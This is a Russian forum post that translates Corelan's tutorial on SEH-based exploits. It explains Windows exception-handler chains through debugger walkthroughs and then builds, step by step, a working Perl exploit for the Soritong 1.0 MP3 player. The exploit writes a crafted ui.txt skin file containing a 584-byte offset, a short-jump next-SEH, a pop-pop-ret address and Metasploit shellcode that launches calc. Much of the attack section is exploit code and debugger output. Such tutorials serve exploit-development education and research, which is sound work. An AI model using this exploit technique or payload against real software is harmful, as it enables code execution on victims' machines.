• XSS.stack #1 – первый литературный журнал от юзеров форума

Part 3: SEH Based Exploits [RUS]

p(eaZ

RAID-массив
Пользователь
Регистрация
03.04.2011
Сообщения
81
Реакции
4
Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ
8/2011

В первых двух частях данного руководства, мы обсудили, как происходят классические переполнения буфера в стеке, и каким образом можно создать надежный эксплойт с использованием различных методик перехода к шеллкоду. Пример, который мы использовали, позволил нам перезаписать EIP, и у нас было достаточно места в буфере для размещения шеллкода. Вдобавок ко всему, у нас была возможность использовать множество методик перехода, чтобы достигнуть нашей конечной цели. Но не все переполнения так просты в эксплуатации.

Сегодня, мы рассмотрим другую методику, позволяющую эксплуатировать уязвимость, с использованием обработчиков исключений (exception handlers).

Что такое обработчик исключений?

Обработчик исключений - это часть кода, которая находится в приложении для обработки особых ситуаций (исключений) с которыми данное приложение может столкнуться во время работы. Типичная обработка исключений выглядит следующим образом:

Код:
try
{
// выполниться, если происходит исключение, и перейдет к <catch>
}
catch
{
//выполняется когда происходит исключение
}

Так взаимосвязаны try и catch в стеке:

1.jpeg


В Windows SEH (Structured Exception Handler - Структурированный Обработчик Исключений) встроен по умолчанию. Если Windows перехватывает исключение, то мы увидим примерно следующее всплывающее сообщение: “xxx столкнулся с проблемой и должен закрыться”. Это является результатом обработчика. Очевидно, для того, чтобы писать стабильное программное обеспечение, необходимо использовать языки программирования, которые включают встроенный обработчик, а не полагаться на стандартный обработчик Windows. Если программа не использует обработчик исключений, или когда доступные обработчики не смогут обработать исключение, то будет использоваться Windows SEH (UnhandledExceptionFilter). Таким образом, в случае ошибки или запрещенной инструкции, приложение получит шанс их удачно обработать, и не завершиться аварийно. В большинстве случаев Windows SEH выдаст сообщение об исключении и предложит послать отчет о случившемся в Microsoft.

У приложения, для того, чтобы быть в состоянии перейти к коду исключения (блок catch), указатель на код обработчика особых ситуаций сохраняется в стеке (для каждого блока кода). У каждого из блоков кода есть своя область в стеке, так называемый SEH-frame, и в каждой из них храниться указатель на обработчик каждого из блоков кода. Информация о всех фреймах хранится в стеке в структуре exception_registration.

Эта структура (также называемая SEH-record) составляет 8 байтов и имеет 2 (4-байтовых) элемента:
  • указатель на следующую структуру exception_registration (в основном, на следующую SEH-запись, в случае, если текущий обработчик неспособен обработать исключение)
  • адрес фактического кода обработчика особых ситуаций. (SE-обработчик)
Простое представление стека относительно цепных компонентов SEH:

2.jpeg


Поверх главного блока данных (блок данных "главной" функции приложения, или TEB/TIB - блок информации потока) помещен указатель на вершину SEH-цепочки. Эту SEH-цепочку также часто называют FS:[0]-цепочкой.

Таким образом, на машинах Intel, взглянув на дизассемблированный код SEH, мы увидим инструкцию, перемещающую DWORD ptr из FS:[0]. Это гарантирует, что обработчик исключений установлен для потока и будет в состоянии захватить ошибки, когда они в нём произойдут. Код операции для этой инструкции 64A100000000. Если вы не можете найти этот опкод, возможно, что у приложения/потока вообще нет обработки исключений.

Для построения подобной функциональной блок-схемы, вы можете использовать плагин к OllyDBG под названием OllyGraph.

Небольшой пример: скомпилируйте следующий исходный код (sehtest.exe) и загрузите полученную программу в WinDbg (без запуска).

Код:
#include<stdio.h>
#include<string.h>
#include<windows.h>

int ExceptionHandler(void);
int main(int argc,char *argv[]){

char temp[512];

printf("Application launched");

 __try {

    strcpy(temp,argv[1]);

    } __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}

Обратите внимание на загруженные модули:

3.jpeg


Приложение находится между 00400000 и 0040c000

Найдем в этой области код операции 64 A1:

4.jpeg


Это доказывает то, что обработчик исключений зарегистрирован. Сделаем дамп TEB:

5.jpeg


Указатель указывает на 0x0012fd0c (начало SEH-цепи). Взглянув на эту область, мы увидим:

6.jpeg


ff ff ff ff указывает на конец SEH-цепи. Это нормально, т.к. приложение еще не начало выполняться (Windbg все еще приостановлен).

Если у вас имеется установленный плагин Ollygraph, вы можете открыть выполняемую программу в ollydbg и построить граф, который укажет, установлен ли обработчик исключений или нет:

7.jpeg


Когда мы начнем выполнение приложение (F5 или 'g'), мы увидим следующее:

8.jpeg


Для главной функции теперь установлен TEB. SEH-цепочка в точке главной функции по адресу 0x0012ff60, сделав дамп по которому, мы видим обработчик исключений, и его начальный адрес 0x0012ffb0

В OllyDbg всё более упрощенно, и выглядит примерно так:

9.jpeg


10.jpeg


Здесь мы можем видеть функцию обработчика - ExceptionHandler ().

Из примера выше, вы могли убедиться в том, что обработчики исключений, соединены/связаны друг с другом, формируя цепочку в виде связанного списка в стеке, и находятся на его дне. Когда происходит исключение, Windows ntdll.dll приостанавливает процесс, отыскивает начало SEH-цепочки (находится в начале TEB/TIB), проходит по списку обработчиков, и пытается найти подходящий для возникшей ситуации. Если подходящий из обработчиков не будет найден, то по умолчанию буде задействован обработчик Windows ( находится внизу стека, после FFFFFFFF).

Узнать больше о SEH вы можете в превосходной статье Matt Pietrek 1997 года, по адресу: http://www.microsoft.com/msj/0197/exception/exception.aspx

Наблюдаем за SEH в действии, через Ollydbg

При обычном переполнении буфера в стеке, мы перезаписываем адрес возврата (EIP) и заставляем приложение перейти к шеллкоду. Осуществляя переполнение в SEH, мы также перезаписываем стек после перезаписывания EIP, и таким образом мы сможем перезаписать стандартный обработчик исключения. Как это позволит нам эксплуатировать уязвимость, станет скоро более понятным.

Давайте воспользуемся уязвимостью в MP3-плейере Soritong 1.0, обнародованной 20-ого июля 2009.

Скачать его можно здесь: http://www.softpedia.com/get/Multimedia/Au.../Soritong.shtml

Уязвимость возникает в файле обложки, и может вызвать переполнение. Мы воспользуемся следующим perl-скриптом для того, чтобы создать файл под названием UI.txt в папке skin\default:

Код:
#!usr/bin/perl
$uitxt = "ui.txt";

my $junk = "A" x 5000; 

open(myfile,">$uitxt");
print myfile $junk;

Теперь запустим soritong. Программа падает (вероятно, из-за обработчика исключений, которому не удалось найти адрес подходящего SEH (потому что он был перезаписан).

Мы будем работать с Ollydbg, чтобы явно показать стек и SEH-цепочку. Запустите Ollydbg и откройте в нем soritong.exe . Нажмите кнопку "play", чтобы запустить выполнение программы. Вскоре после запуска, программа падает и останавливается в таком положении:

11.jpeg


Приложение завершилось в 0x0042E33. В этой точке стек находится в 0x0012DA14. У основания стека (в 0012DA6C), мы видим FFFFFFFF, который указывает на конец SEH-цепи. Чуть ниже 0x0012DA14 мы видим 7E41882A, который является адресом стандартного SE-обработчика для этого приложения. Этот адрес находится в адресном пространстве user32.dll.

12png.jpeg


Несколько строк выше в стеке, мы можем видеть адреса других обработчиков исключений, но все они принадлежат ОС (ntdll в данном случае). Похоже, что программа (или по крайней мере функция, которая вызвали исключение) не имеет собственного обработчика.

13.jpeg


Если мы посмотрим на потоки (View - Threads) и выбрав первый поток (который указывает на начало программы), щелкнем правой кнопкой мыши и выберем ‘dump thread data block’, мы увидим указатель на SEH-цепочку:

14.jpeg


15.jpeg


Значит, что обработчик исключения работает. Мы вызвали исключение (создав модифицированный ui.txt файл), и программа перешла к SEH-цепочке (по адресу 0x0012DF64).

Откройте меню отладчика "View – SEH chain”

16.jpeg


Адрес обработчика SE указывает на местоположение, где находиться код, который нужно выполнить, чтобы возникло исключение.

17.jpeg


Обработчик SE был перезаписан четырьмя «A». Когда исключение будет обработано, EIP будет перезаписан адресом SE-обработчика. Так как мы можем управлять значением в обработчике, то нам по силам сделать так, чтобы он выполнил наш собственный код.

Наблюдаем за SEH в действии, через Windbg

Теперь повторим наблюдение с применением Windbg. Закройте Ollydbg, запустите windbg и откройте soritong.exe.

Отладчик сначала приостанавливается (он помещает контрольную точку прежде, чем выполнить программу). Запускаем выполнение программы командой «g» (go), либо нажатием F5.

18.jpeg


Запускаем поток выполнения, и вскоре он приостанавливается. Windbg сообщает нам “ first change exception”. Это означает, что windbg заметил, что было вызвано исключение, и даже прежде, чем исключение могло быть обработано программой, windbg остановил прикладной поток:

19.jpeg


Сообщение “ This exception may be expected and handled”.

Cмотрим на стек:

20.jpeg


ffffffff указывает конец SEH- цепи. Если мы выполним команду !analyze -v, мы получим следующее:

FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov    byte ptr [eax],dl

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
  ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
  Parameter[0]: 00000001
  Parameter[1]: 00130000
Attempt to write to address 00130000

FAULTING_THREAD:  00000a4c

PROCESS_NAME:  SoriTong.exe

ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

FAULTING_MODULE: 7c900000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  37dee000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00130000

WRITE_ADDRESS:  00130000

FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov    byte ptr [eax],dl

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:
ud+41414140
41414141 ??              ???

LAST_CONTROL_TRANSFER:  from 41414141 to 00422e33

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

. . . (вырезано из-за большой длины)

0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffbc

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME:  SoriTong.exe

STACK_COMMAND:  ~0s ; kb

BUCKET_ID:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5

Followup: MachineOwner

Отчет исключения указывает на ffffffff. Это означает, что приложение не использовало обработчик исключения для этого переполнения (и поэтому использовался стандартный обработчик ОС).

Если сделать дамп TEB после того, как произошло исключение, мы увидм:

21.jpeg


=> указатель на SEH-цепь, в 0x0012FD64.
Та область теперь перезаписана «A»:

22.jpeg


Цепочка исключений сообщит:

23.jpeg


=>, таким образом мы перезаписали обработчик исключения. Теперь позволим приложению ловить исключение (нажимаем F5 в отладчике) и смотрим, что произойдет:

24.jpeg


eip указывает на 41414141, и это означает, что мы можем им управлять.

!exchain теперь сообщает:

25.jpeg


Microsoft выпустила для windbg расширение называнное !exploitable. Загрузите его, и поместите dll файл в папку программы windbg, в подпапку winext.

26.jpeg


Этот модуль поможет определить, может ли крах/исключение/нарушении_доступа в приложении быть пригодным для эксплуатации или нет. Применив этот модуль к Soritong, прямо после того, как произошло первое исключение, мы увидим:

27.jpeg


После прохождения исключения, мы увидим:

28.jpeg


Отличнейший модуль.

Можно ли использовать адрес шеллкода, который находится в регистрах, чтобы перейти к нему?

Да и нет. До выхода XP SP1, вы могли бы обращаться к таким регистрам, чтобы выполнить шеллкод, но начиная с SP1, был реализован механизм защищающий от этого. Прежде, чем обработчик исключения возьмет на себя управление, все регистры xor’ятся друг с другом, таким образом они все указывают на 0?00000000.

Преимущества эксплойтов, основанных на SEH, перед эксплойтами переполнения буфера основанных на RET (указатель на EIP).

При типичном RET переполнении, мы перезаписываем EIP и заставляем его перейти на шеллкод. Эта техника хороша, но может вызвать проблемы в стабильности (если нет возможности найти jmp код в dll, или если нужны жестко заданные адреса). Ещё важно учитывать размер буфера, что является также недостатком данного метода.
Так что имеет смысл, каждый раз, когда вы обнаруживаете переполнение в стеке, с возможностью перезаписать EIP, пытаться перезаписать дно стека(Writing further down), с целью поразить SEH-цепочку. И т.к. вы перезаписали EIP (с мусором), будет автоматически вызвано исключение , преобразовывая 'классический' эксплойт в SEH-эксплойт.

Как мы можем эксплуатировать SEH- уязвимость?

Легко. В SEH-эксплойтах полезная junk-нагрузка сначала перезапишет адрес указателя nSEH, затем сам SE-обработчик(SE-Handler). И затем будет записан шеллкод.
Когда произойдет исключение, программа пойдет в SE-обработчик(handler). В SE-Handler мы помещаем данные на подставное второе исключение, таким образом программный поток идет в следующий указатель nSEH, который находиться до SE-Handledr’a, и был перезаписан прыжком к адресу на шеллкод, который находиться за SE-Handler’ом.

29.jpeg


Конечно, шеллкод может быть справа от перезаписываемого SE-Handler’а… либо может быть некоторый дополнительный мусор в первых двух байтах…, важно проверить, что вы можете определить местонахождение шеллкода, и возможность к нему перейти.

Создание эксплойта – находим “next SEH” и смещение “SE Handler ”.

Мы должны найти смещение к следующему:
  • к месту, где мы перезапишем next SEH (переходом к шеллкоду)


  • к месту, где мы перезапишем текущий SE Handler (должно быть правее от “next SEH” . Мы должны перезаписать это чем-то, что вызовет поддельное исключение)


  • к шеллкоду


Простой способ сделать это - заполнить полезную нагрузку уникальным шаблоном (metasploit нам сново в этом поможет), и затем найти эти три местоположения.

Код:
#!usr/bin/perl
my $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac".
"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A".
"f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak".
"6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A".
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
"Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As".
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A".
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9".
"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba".
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B".
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9".
"Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi".
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B".
"l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9".
"Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq".
"6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B".
"t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9".
"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By".
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C".
"b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9".
"Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg".
"6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C".
"j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9".
"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co";

open (myfile,">ui.txt");
print myfile $junk;

Запустите данный скрипт, и поместите полученный ui.txt файл в папку программы.

Запустите windbg, откройте soritong.exe. Запустите выполнение программы (F5). Отладчик поймает первое случайное исключение. Выполнение программы вновь остановиться, и чтобы не сбить состояние стека, продолжать процесс выполнения пока не следует. Взглянем на seh-цепь:

30.jpeg


SEH handler был перезаписан на 41367441.

Переверните 41367441 (little endian) => 41 74 36 41, что является hex-представлением At6A нашего подставленного шаблона. Это соответствует смещению 588. Это означает:
  • SE Handler перезаписывается после 588 байтов


  • Указатель на next SEH перезаписывается после 588-4 байтов = 584 байта. Это местоположение - 0x0012fd64 (!exchain это нам демонстрирует)


Мы знаем, что наш шеллкод находиться прямо после перезаписанного SE Handler’а. Таким образом, шеллкод должен быть помещен в 0012fd64+4bytes+4bytes

[Junk][next SEH][SEH][Shellcode]

(next SEH помещен в 0x0012fd64)

Цель: эксплойт вызывает исключение, идет в SEH, который вызовет другое исключение (pop pop ret). Это сделает переход потока назад к next SEH. Из "next SEH” перепрыгнуть через следующие несколько байтов, и попасть в область шеллкода. 6 байтов (или больше, если шеллкод мы начнем со связки NOP’ов).

Опкод для короткого перехода - eb, сопровождаемый расстоянием для перехода в байтах. Другими словами, короткий скачок в 6 байтов записывается опкодом eb 06. Этим мы заполним 2 байта, значит надо добавить ещё 2 NOP’а, чтобы заполнить 4-байтовое постранство. Таким образом, область next SEH должна быть перезаписана на 0xeb, 0?06,0?90,0?90

Насколько точна функция “pop,pop,ret” при работе в SEH-ориентированном эксплойте?

Когда происходит исключение, диспетчер исключения создает для него собственную область в стеке. Потом элементы из EH Handler’а заталкиваются в эту область (как часть вводной части функции). Одна из областей в EH структуре, это EstablisherFrame. Эта область указывает на адрес регистрационного отчета исключения (next SEH), который был помещен на стек программы. Этот же адрес также помещается в ESP+8, когда вызывается обработчик. Теперь, если мы перезаписываем обработчик адресом “pop,pop,ret”, то:
  • первый “pop” снимет 4 байта со стека


  • второй “pop” снимет следующие 4 байта со стека


  • “ret” снимет текущее значение с вершины ESP (= адрес next SEH, который был в ESP+8, но из-за 2 “pop” теперь находится наверху стека), и помещает его в EIP.


Мы перезаписали next SEH некоторым jump-кодом (вместо адреса), таким образом код будет выполнен.

Фактически, next SEH можно рассмотреть как первую часть нашего шеллкода.

Создание эксплойта – объединяем все части.

После нахождения необходимых смещений, только нуждайтесь в адресе “поддельного исключения” (pop,pop,ret) прежде, чем мы сможем создать эксплойт.

Запустив Soritong в windbg, мы можем увидеть список подгруженных модулей:

31.jpeg


Мы в большей мере заинтересованы в библиотеках dll самого приложения, поэтому давайте сперва поищем “pop,pop,ret” в этой dll. Используя findjmp.exe, мы можем изучить эту dll и поискать последовательность “pop,pop,ret” (или, например, “pop edi”)

Любой из нижеследующих адресов должен нам подойти, если он не будет содержать нулевые байты:

32.jpeg


Возьмем, например, 0x1008de8. (Вы можете использовать любой из адресов)

33png.jpeg


Отметьте: для findjmp, нам следует указать регистр. В некоторых ситуациях может быть легче воспользоваться утилитой msfpescan из Metasploit (указав msfpescan название dll, с параметром-p, и выбираете любой из pop,pop,ret ). msfpescan не требует определения регистра, т.к. он просто перебирает все комбинации. Альтернативно вы можете использовать memdump, чтобы сделать дамп всей память процесса, сохранив его в файл, и затем воспользоваться msfpescan с параметром “-M <папка с файлом дампа> -p”, чтобы найти все комбинации pop,pop,ret в памяти.

Структура полезной нагрузки эксплойта должна выглядеть примерно так:

34.jpeg


Фактически, структура типичных SEH-эксплойтов будет похожа на эту:

35png.jpeg


Чтобы определить местонахождение шеллкода (который должен быть правее за SEH), вы можете заменить 4 байта в “next SEH” контрольными точками. Это позволит вам проверить регистры. Пример:

Код:
#!usr/bin/perl
my $junk = "A" x 584;

my $nextSEHoverwrite = "\xcc\xcc\xcc\xcc";  #контрольная точка

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll

my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";

my $junk2   = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

(e1c.fbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0        nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810            mov    byte ptr [eax],dl          ds:0023:00130000=41

0:000> g
(e1c.fbc): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0        nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246
<Unloaded_ud.drv>+0x12fd63:
0012fd64 cc              int    3

Так, после передачи первого исключения программа остановилось из-за контрольной точки в nSEH.

EIP в настоящее время указывает на первый байт в nSEH, таким образом, вы можете видеть шеллкод в ближайших 8 байтах (4 байта для nSEH, и 4 байта для SEH):

0:000> d eip
0012fd64  cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47  ........1ABCDEFG
0012fd74  48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49  HIJKLM2ABCDEFGHI
0012fd84  4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b  JKLM3ABCDEFGHIJK
0012fd94  4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90  LM..............
0012fda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdb4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdc4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdd4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Отлично, видим, что шеллкод начинается там, где мы и ожидали.

Теперь мы готовы создать эксплойт с реальным шеллкодом (и заменить контрольные точки в nSEH на jump-код)

Код:
#!usr/bin/perl
# Exploit for Soritong MP3 player
#
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
#

my $junk = "A" x 584;

my $nextSEHoverwrite = "\xeb\x06\x90\x90";  #прыжок на 6 байт

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";

my $junk2   = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Создайте ui.txt файл и откройте soritong.exe БЕЗ отладчика.

36.jpeg


Теперь давайте посмотрим, что случилось «под капотом». Поместите контрольную точку в начало шеллкода и снова запустите soritong.exe под windbg:

Первое случайное исключение:

Стек (ESP) указывает на 0x0012da14

37.jpeg


=> SE Handler указывает на 10018de8 (который является pop,pop,ret). Когда мы продолжим выполнять приложение, pop,pop,ret выполнит и вызовет другое исключение.

Когда это случится, “ EB 06 90 90 ” код будут выполнен (next SEH), и EIP укажет на 0012fd6c, который является адресом нашего шеллкода:

38.jpeg
  • 41 41 41 41: последние символы буфера
  • eb 06 90 90: next SEH, сделает переход на 6-байт
  • e8 8d 01 10: текущий SE Handler (pop,pop,ret, который вызовет следующее исключение, заставив код пойти в следующий указатель SEH и выполнит “eb 06 90 90”)
  • cc eb 03 59: начало шеллкода (я добавил \xcc, который является контрольной точкой), в адресе 0x0012fd6c
Вы можете посмотреть на процесс создания эксплойта в следующем видео:

YouTube - Эксплуатация MP3-плейера Soritong (SEH) на Windows XP SP3

Также, вы можете посмотреть/посетить мой список видео (с этим и будущими эксплойтами из данного руководства)

Ссылки на отладчики и модули к ним:
Ollydbg
Модуль OllySSEH
Плагины Ollydbg
Windbg
Windbg !exploitable модуль
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх